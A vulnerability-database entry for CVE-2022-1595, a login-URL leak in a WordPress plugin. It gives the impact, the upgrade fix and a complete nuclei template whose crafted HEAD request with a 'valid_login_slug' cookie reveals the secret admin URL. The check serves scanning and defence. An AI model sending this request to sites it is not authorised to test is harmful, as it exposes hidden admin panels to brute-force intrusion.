HexBrain

Browse / CVEs / CVE-2022-1595

CVE-2022-1595· CWE-200

WordPress HC Custom WP-Admin URL <=1.4 - Admin Login URL Disclosure

mediumseverity
5.3CVSS score
2.9%likelihood of exploitation, next 30 days
87%of all CVEs are less likely
Readycheck to confirm it

The HC Custom WP-Admin URL WordPress plugin through 1.4 leaks the secret login URL when sending a specific crafted request

Impact

Attackers can obtain the secret custom admin login URL by sending crafted requests with specific cookies, potentially facilitating brute force attacks against the admin panel.

Fix

Update to the latest version of WordPress HC Custom WP-Admin URL plugin (>=1.5) to mitigate the vulnerability.

How to confirm it

Send: HEAD /wp-login.php
Positive when: matches in header /(?i)Set-Cookie:.*wordpress_logged_in_/ AND matches in header /(?i)Location:.*(/wp-admin/|/[^/]+/wp-login\.php)/ AND status 302

Run it with nuclei: nuclei -id CVE-2022-1595 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2022-1595

info:
  name: WordPress HC Custom WP-Admin URL <=1.4 - Admin Login URL Disclosure
  author: theamanrawat,oleveloper
  severity: medium
  description: |
    The HC Custom WP-Admin URL WordPress plugin through 1.4 leaks the secret login URL when sending a specific crafted request
  impact: |
    Attackers can obtain the secret custom admin login URL by sending crafted requests with specific cookies, potentially facilitating brute force attacks against the admin panel.
  remediation: |
    Update to the latest version of WordPress HC Custom WP-Admin URL plugin (>=1.5) to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/0218c90c-8f79-4f37-9a6f-60cf2f47d47b
    - https://wordpress.org/plugins/hc-custom-wp-admin-url/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1595
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2022-1595
    cwe-id: CWE-200
    epss-score: 0.02903
    epss-percentile: 0.87074
    cpe: cpe:2.3:a:hc_custom_wp-admin_url_project:hc_custom_wp-admin_url:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
  tags: cve,cve2022,unauth,wpscan,wordpress,wp-plugin,wp,hc-custom-wp-admin-url,vuln

http:
  - raw:
      - |
        HEAD /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Cookie: valid_login_slug=1

    matchers-condition: and
    matchers:
      - type: regex
        part: header
        regex:
          - "(?i)Set-Cookie:.*wordpress_logged_in_"

      - type: regex
        part: header
        regex:
          - "(?i)Location:.*(/wp-admin/|/[^/]+/wp-login\\.php)"

      - type: status
        status:
          - 302

References

Use this check only on systems you are authorised to test. Where the data comes from